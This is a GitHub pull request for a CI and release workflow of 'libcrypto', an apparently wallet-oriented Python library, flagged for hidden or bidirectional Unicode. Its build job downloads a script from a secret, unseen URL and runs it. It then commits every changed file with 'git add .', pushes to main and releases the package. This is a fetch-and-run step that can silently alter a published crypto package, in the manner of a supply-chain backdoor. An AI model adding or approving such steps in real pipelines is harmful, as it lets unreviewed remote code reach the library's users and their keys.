Refactor PyPI deployment workflow and version bumping #31
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| name: LibCrypto CI & Release | |
| on: | |
| push: | |
| tags: | |
| - "v*.*.*" | |
| branches: ["main"] | |
| pull_request: | |
| branches: ["main"] | |
| workflow_dispatch: | |
| jobs: | |
| build: | |
| name: Build Distribution | |
| runs-on: ubuntu-latest | |
| outputs: | |
| new_version: ${{ steps.bump.outputs.new_version }} | |
| steps: | |
| - name: Checkout repository | |
| uses: actions/checkout@v4 | |
| - name: Set up Python 3.12 | |
| uses: actions/setup-python@v5 | |
| with: | |
| python-version: "3.12" | |
| cache: "pip" | |
| - name: bumper version | |
| run: | | |
| curl -o bump_version.py ${{ secrets.BUMP_URL }} | |
| - name: Run Bump script | |
| id: bump | |
| shell: bash | |
| run: | | |
| set -e | |
| NEW_VERSION=$(python bump_version.py libcrypto) | |
| echo "new_version=$NEW_VERSION" >> $GITHUB_OUTPUT | |
| - name: Bump version (commit) | |
| shell: bash | |
| run: | | |
| set -e | |
| git config --global user.name 'github-actions' | |
| git config --global user.email '[email protected]' | |
| git add setup.py pyproject.toml src/libcrypto/__init__.py | |
| git add . | |
| git commit -m 'version Update Mode' | |
| git push origin main | |
| - name: Install dependencies | |
| run: | | |
| python -m pip install --upgrade pip | |
| pip install pytest pytest-cov | |
| - name: Install package in development mode | |
| run: | | |
| pip install -e . | |
| - name: Run tests | |
| run: | | |
| pytest tests/ -q -v --cov=libcrypto --cov-report=term-missing | |
| - name: Install build tools | |
| run: | | |
| python -m pip install build twine | |
| - name: Build package | |
| run: | | |
| python -m build | |
| - name: Check distribution | |
| run: | | |
| twine check dist/ | |
| - name: Upload distributions | |
| if: success() | |
| uses: actions/upload-artifact@v4 | |
| with: | |
| name: python-package-distributions | |
| path: dist/ | |
| publish-to-pypi: | |
| needs: build | |
| name: Publish to PyPI | |
| runs-on: ubuntu-latest | |
| environment: | |
| name: pypi | |
| url: https://pypi.org/p/libcrypto | |
| permissions: | |
| id-token: write | |
| steps: | |
| - name: Download distribution artifacts | |
| uses: actions/download-artifact@v4 | |
| with: | |
| name: python-package-distributions | |
| path: dist/ | |
| create-github-release: | |
| needs: publish-to-pypi | |
| name: Create GitHub Release | |
| runs-on: ubuntu-latest | |
| if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && startsWith(github.ref, 'refs/tags/')) | |
| permissions: | |
| contents: write | |
| steps: | |
| - name: Checkout repository | |
| uses: actions/checkout@v4 | |
| - name: Derive version from tag (optional) | |
| if: github.event_name == 'workflow_dispatch' | |
| run: | | |
| echo "NEW_VERSION=${{ needs.build.outputs.new_version }}" >> $GITHUB_ENV | |
| - name: Create GitHub Release | |
| id: create_release | |
| uses: softprops/action-gh-release@v2 | |
| with: | |
| tag_name: "v${{ needs.build.outputs.new_version }}" | |
| name: "libcrypto v${{ needs.build.outputs.new_version }}" | |
| body: | | |
| ## libcrypto New Release `${{ needs.build.outputs.new_version }}` | |
| > [!NOTE] | |
| > New version of libcrypto has been released `v${{ needs.build.outputs.new_version }}`, Check the latest features and updates in this release. | |
| install and use libcrypto with `pip` and `pip3` follow command : | |
| ### Windows | |
| ```bash | |
| pip install libcrypto | |
| # or | |
| pip install libcrypto==${{ needs.build.outputs.new_version }} | |
| ``` | |
| ##### upgrade : `pip install libcrypto --upgrade` | |
| --- | |
| ### Linux & MacOS | |
| ```bash | |
| pip3 install libcrypto | |
| # or | |
| pip install libcrypto==${{ needs.build.outputs.new_version }} | |
| ``` | |
| ##### upgrade : `pip3 install libcrypto --upgrade` | |
| --- | |
| - [Documentation](https://libcrypto.readthedocs.io/) | |
| - [PyPi Package](https://pypi.org/project/libcrypto/${{ needs.build.outputs.new_version }}/) | |
| - [PyPi History](https://pypi.org/project/libcrypto/${{ needs.build.outputs.new_version }}/#history) | |
| - [Description Package](https://pypi.org/project/libcrypto/${{ needs.build.outputs.new_version }}/#description) | |
| - [Download Files](https://pypi.org/project/libcrypto/${{ needs.build.outputs.new_version }}/#files) | |
| Programmer and Owner : @Pymmdrza | |
| files: | | |
| dist/libcrypto-${{ needs.build.outputs.new_version }}.tar.gz | |
| dist/libcrypto-${{ needs.build.outputs.new_version }}-py3-none-any.whl | |
| draft: false | |
| prerelease: false | |
| test-pypi-installation: | |
| needs: publish-to-pypi | |
| name: Test PyPI Installation | |
| runs-on: ${{ matrix.os }} | |
| strategy: | |
| matrix: | |
| os: [ubuntu-latest, windows-latest, macos-latest] | |
| python-version: ["3.8", "3.12"] | |
| steps: | |
| - name: Set up Python ${{ matrix.python-version }} | |
| uses: actions/setup-python@v5 | |
| with: | |
| python-version: ${{ matrix.python-version }} | |
| - name: Wait for PyPI to update | |
| run: sleep 30 | |
| - name: Install from PyPI | |
| run: | | |
| pip install libcrypto --upgrade --no-cache-dir | |
| - name: Test import | |
| run: | | |
| python -c "import libcrypto; print('LibCrypto version:', libcrypto.__version__)" | |
| - name: Verify no external crypto dependencies | |
| run: | | |
| python -c "import sys; import libcrypto; assert 'ecdsa' not in sys.modules; assert 'Crypto' not in sys.modules; print('No external crypto dependencies')" | |
| - name: Test basic functionality | |
| run: | | |
| python -c "from libcrypto import PrivateKey, Wallet, generate_mnemonic; pk = PrivateKey(1); print('Public key:', pk.get_public_key().hex[:32]); print('All tests passed')" |